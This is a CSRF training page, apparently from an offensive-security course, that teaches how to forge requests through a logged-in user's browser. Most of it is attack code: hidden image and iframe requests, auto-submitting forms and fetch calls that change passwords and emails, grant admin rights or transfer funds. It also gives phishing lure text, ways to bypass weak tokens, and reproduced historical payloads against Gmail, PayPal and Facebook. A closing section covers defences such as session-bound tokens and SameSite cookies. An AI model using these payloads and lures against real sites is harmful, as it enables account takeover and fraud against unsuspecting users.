Cross-Site Request Forgery

Exploit Trust Relationships Between Browsers and Applications

CSRF AttacksToken BypassSocial Engineering

What You'll Discover

🎯 Why This Matters

Cross-Site Request Forgery exploits the fundamental trust that web applications place in authenticated users' browsers. Unlike other attacks that target specific vulnerabilities, CSRF leverages how browsers automatically include authentication cookies in requests. This makes it particularly dangerous because users can be tricked into performing actions they never intended, without any visible indication that an attack occurred.

🔍 What You'll Learn

You'll understand the mechanics of CSRF attacks and how to identify vulnerable endpoints lacking proper protection. This includes crafting GET and POST-based exploits, bypassing weak CSRF tokens, and combining social engineering techniques with technical exploitation—the same systematic approach used by security experts in real assessments.

🚀 Your First Win

In the next 15 minutes, you'll successfully execute a CSRF attack that changes an administrator's password by tricking them into visiting a malicious webpage, demonstrating how business-critical functionality can be compromised through trust exploitation.

🔧 Try This Right Now

Create a simple CSRF proof-of-concept that demonstrates how browser trust can be exploited

# Basic GET-based CSRF (hidden image)
<img src="http://<target>/admin/delete_user?id=123" style="display:none">

# POST-based CSRF (auto-submitting form)
<form id="csrf" action="http://<target>/change_password" method="POST">
  <input type="hidden" name="new_password" value="hacked123">
</form>
<script>document.getElementById('csrf').submit();</script>

# Multi-step CSRF attack chain
<img src="http://<target>/admin/change_email?email=attacker@evil.com">
<img src="http://<target>/admin/reset_password">

# Social engineering delivery
# Subject: "Urgent: Click here to verify your account"
# Link leads to page containing hidden CSRF forms

You'll see: How browsers automatically include authentication cookies in requests, making users unknowingly perform actions on sites where they're logged in. This fundamental browser behavior is what makes CSRF attacks so effective.

Skills You'll Master

✅ Core Understanding

  • Browser authentication mechanics and cookie behavior
  • Same-origin policy implications for cross-site requests
  • CSRF attack vectors and exploitation techniques
  • Token validation flaws and bypass methods

🔍 Expert Skills

  • Social engineering integration with technical attacks
  • Attack payload crafting for different contexts
  • Security header analysis and bypass techniques
  • Defense implementation and testing methodologies

Understanding CSRF Attack Mechanics

CSRF works by exploiting the automatic inclusion of authentication cookies in cross-site requests

The attack succeeds because browsers automatically include cookies when making requests to any domain, regardless of where the request originates. When a user visits a malicious site while authenticated to a target application, the browser dutifully sends their session cookies, making the forged request appear legitimate to the server.

Attack Flow

The sequence of events in a CSRF attack

1. User logs into target.com
2. User visits evil.com (while still logged in)
3. evil.com triggers request to target.com
4. Browser includes target.com cookies
5. target.com processes as legitimate request

Common Targets

Operations vulnerable to CSRF exploitation

Password changes
Email updates
User privilege modifications
Financial transactions
Account settings changes
Admin panel operations

Detection Methods

How to identify CSRF vulnerabilities

Missing CSRF tokens
Weak token validation
GET requests for state changes
Optional token checking
Predictable token patterns

Tools and Techniques

CSRF attacks rely more on understanding browser behavior and social engineering than on specialized tools, making this a technique that separates thoughtful security experts from tool-dependent testers.

GET-Based CSRF: The Simplest Approach

GET-based CSRF attacks are the easiest to execute and often the most effective because they can be triggered through simple HTML elements like images or iframes.

GET Request Exploitation Techniques

# Image tag CSRF (most common)
<img src="http://<target>/admin/delete_user?id=123" style="display:none">

# Multiple actions in single page
<img src="http://<target>/admin/change_password?new_pass=hacked123" style="display:none">
<img src="http://<target>/admin/add_user?username=attacker&role=admin" style="display:none">

# Link-based CSRF
<a href="http://<target>/admin/transfer_funds?amount=10000&to=attacker_account">
Click here for your free gift!</a>

# iframe-based CSRF (loads invisibly)
<iframe src="http://<target>/admin/grant_privileges?user=attacker" 
        style="display:none"></iframe>

# JavaScript-triggered requests
<script>
fetch('http://<target>/api/change_email?email=attacker@evil.com', 
      {credentials: 'include'});
</script>

These techniques work because browsers automatically include cookies for the target domain, regardless of where the request originates—the fundamental flaw that CSRF exploits.

POST-Based CSRF: Advanced Form Attacks

POST-based attacks require forms but are often more effective against modern applications that properly avoid GET requests for state-changing operations.

Form-Based Attack Techniques

# Auto-submitting form (executes immediately)
<form id="csrf-attack" action="http://<target>/admin/change_email" method="POST">
  <input type="hidden" name="new_email" value="attacker@evil.com">
  <input type="hidden" name="confirm" value="yes">
</form>
<script>document.getElementById('csrf-attack').submit();</script>

# User-triggered form (requires click)
<form action="http://<target>/admin/change_password" method="POST">
  <input type="hidden" name="new_password" value="hacked123">
  <input type="submit" value="Claim Your Free Prize!">
</form>

# AJAX POST request
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://<target>/api/update_profile', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.withCredentials = true;
xhr.send('email=attacker@evil.com&phone=555-HACK');
</script>

# JSON API CSRF (if CORS allows)
fetch('http://<target>/api/user/update', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({role: 'admin', user_id: 123})
});

POST attacks can modify complex data structures and trigger multi-step operations, making them particularly dangerous for administrative functions.

Token Bypass: Defeating Weak Protection

Many applications implement CSRF tokens incorrectly, creating opportunities for bypass that security experts can exploit systematically.

Token Validation Weaknesses

# Common CSRF token implementation flaws

# 1. Optional token validation (just omit the token)
if (isset($_POST['csrf_token'])) {
    validate_csrf($_POST['csrf_token']);
}
# Bypass: Don't include csrf_token parameter

# 2. Empty token acceptance
if ($_POST['csrf_token'] != "") {
    validate_csrf($_POST['csrf_token']);
}
# Bypass: csrf_token=""

# 3. Any valid token accepted (not tied to session)
if (in_array($_POST['csrf_token'], $valid_tokens)) {
    // Process request
}
# Bypass: Use any previously seen valid token

# 4. Case-insensitive validation
if (strtolower($submitted) == strtolower($expected))
# Bypass: Change case of valid token

# 5. Predictable token generation
$token = md5($user_id . date('Y-m-d'));
# Bypass: Generate expected token using known pattern

Understanding these common implementation flaws allows security experts to systematically test CSRF protection and identify bypasses that automated tools miss.

Real-World Attack Scenarios

These scenarios are based on actual documented CSRF vulnerabilities discovered in major platforms, demonstrating the real-world impact and techniques used by security researchers and attackers.

Gmail Email Filter Hijacking (2007, GNUCITIZEN)

The first major CSRF attack on Gmail allowed attackers to create persistent email filters that forwarded all emails with attachments to the attacker's account. Discovered by GNUCITIZEN (pdp) and later used in the real-world domain hijacking of David Airey's website.

# Real attack payload from GNUCITIZEN research
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" 
      enctype="multipart/form-data"> 
    <input type="hidden" name="cf2_emc" value="true"/> 
    <input type="hidden" name="cf2_email" value="attacker@evil.com"/> 
    <input type="hidden" name="cf1_from" value=""/> 
    <input type="hidden" name="cf1_to" value=""/> 
    <input type="hidden" name="cf1_subj" value=""/> 
    <input type="hidden" name="cf1_has" value=""/> 
    <input type="hidden" name="cf1_hasnot" value=""/> 
    <input type="hidden" name="cf1_attach" value="true"/> 
    <input type="hidden" name="tfi" value=""/> 
    <input type="hidden" name="s" value="z"/> 
    <input type="hidden" name="irf" value="on"/> 
    <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> 
</form> 
<script> 
    document.forms[0].submit();
</script>

# Impact: All emails with attachments forwarded to attacker
# Used in real domain hijackings worth thousands of dollars

Real Impact: This technique was used by Iranian attackers to hijack domain registrations by intercepting domain renewal emails, as documented in the Web Hacking Incidents Database.

PayPal Universal Account Takeover (2014, Yasser Ali)

Security researcher Yasser Ali discovered a critical CSRF vulnerability affecting every PayPal account. The flaw allowed attackers to generate a "universal" authentication token that worked for any user, enabling complete account takeover with a single click.

# Step 1: Generate universal auth token (attacker-controlled)
# Visit PayPal send money page without authentication
# Capture the reusable auth token from the request

# Step 2: CSRF payload using universal token
<form action="https://www.paypal.com/cgi-bin/webscr" method="POST">
  <input type="hidden" name="cmd" value="_account-settings">
  <input type="hidden" name="add_email" value="attacker@evil.com">
  <input type="hidden" name="auth" value="[UNIVERSAL_TOKEN]">
</form>

# Step 3: Change security questions (bypassing password protection)
<form action="https://www.paypal.com/cgi-bin/webscr" method="POST">
  <input type="hidden" name="cmd" value="_set-security-questions">
  <input type="hidden" name="question1" value="What is 1+1?">
  <input type="hidden" name="answer1" value="2">
  <input type="hidden" name="auth" value="[UNIVERSAL_TOKEN]">
</form>

<script>
// Auto-submit both forms
document.forms[0].submit();
setTimeout(() => document.forms[1].submit(), 1000);
</script>

Bug Bounty: PayPal awarded Ali $10,000 USD for this discovery. The vulnerability affected all 156 million PayPal accounts at the time.

Facebook Email Confirmation Bypass (2019, Lokesh Kumar)

Bug bounty hunter Lokesh Kumar found a CSRF vulnerability in Facebook's OAuth flow that allowed attackers to verify any Gmail or G-Suite account on Facebook without the email owner's knowledge.

# Step 1: Force login to attacker's Facebook account
<iframe src="https://www.facebook.com/recover/password/?u=[ATTACKER_UID]&n=[CODE]&ars=one_click_login&fl=one_click_login&spc=1&ocl=1&sih=0" 
        style="display:none"></iframe>

# Step 2: Exploit missing CSRF validation in OAuth flow
# Reusable state parameter from attacker's session
<script>
var oauth_url = "https://accounts.google.com/o/oauth2/auth?" +
  "client_id=15057814354-80cg059cn49j6kmhhkjam4b00on1gb2n.apps.googleusercontent.com&" +
  "state=ARf8Zzq50032sck96TSFssFhWVvMUWO7KEJlq3n3_7Yp73WcWvlpyFn1dpdoUGv5&" +
  "response_type=code&" +
  "redirect_uri=https://www.facebook.com/oauth2/redirect/&" +
  "scope=openid+email&" +
  "login_hint=victim@gmail.com";

// Open OAuth popup for victim's email
window.open(oauth_url, '_blank');
</script>

# Step 3: Auto-logout after confirmation
<img src="https://m.facebook.com/logout.php?h=17AfealsadvYomDS" 
     style="display:none">

# Result: Victim's Gmail verified on attacker's Facebook account

Bug Bounty: Facebook awarded Kumar $3,000 USD for this vulnerability, which was fixed on May 31, 2019.

Defensive Countermeasures

Understanding defensive measures helps you identify weak implementations during security testing and provide valuable remediation guidance to development teams.

Synchronizer Token Pattern: The Gold Standard

The most effective CSRF protection uses unique, unpredictable tokens that are tied to the user's session and validated on every state-changing request.

Proper Token Implementation

# Secure token generation (PHP)
session_start();

// Generate cryptographically secure token
if (!isset($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// Strict validation (all requests)
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST['csrf_token']) || 
        !hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        http_response_code(403);
        die('CSRF token validation failed');
    }
}

// HTML form with token
<form method="POST" action="/change_password">
    <input type="hidden" name="csrf_token" 
           value="<?= htmlspecialchars($_SESSION['csrf_token']) ?>">
    <input type="password" name="new_password" required>
    <input type="submit" value="Change Password">
</form>

Implementation Best Practices

  • Mandatory validation - Never make token checking optional
  • Cryptographic randomness - Use secure random generators
  • Session binding - Tie tokens to specific user sessions
  • Time limits - Regenerate tokens periodically

SameSite Cookies: Modern Browser Protection

SameSite cookie attributes provide automatic CSRF protection by controlling when browsers include cookies in cross-site requests.

SameSite Configuration

# Strict SameSite (maximum protection)
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

# Lax SameSite (balanced protection)
Set-Cookie: sessionid=abc123; SameSite=Lax; Secure; HttpOnly

# SameSite options explained:
# Strict: Cookie never sent on cross-site requests
# Lax: Cookie sent on top-level navigation only (default)
# None: Cookie always sent (requires Secure flag)

# PHP implementation
session_set_cookie_params([
    'lifetime' => 0,
    'path' => '/',
    'domain' => '.example.com',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);

# Node.js with Express
app.use(session({
    cookie: {
        sameSite: 'strict',
        secure: true,
        httpOnly: true
    }
}));

🎯 You've Got CSRF Down!

You now understand how to exploit the trust relationship between browsers and web applications using Cross-Site Request Forgery. You can identify vulnerable endpoints, craft effective attacks, and implement proper defensive countermeasures using the same systematic approach that security experts rely on.

CSRF ExploitationToken BypassSocial EngineeringAttack ChainingDefense Implementation

Ready to Access Internal Networks and Cloud Services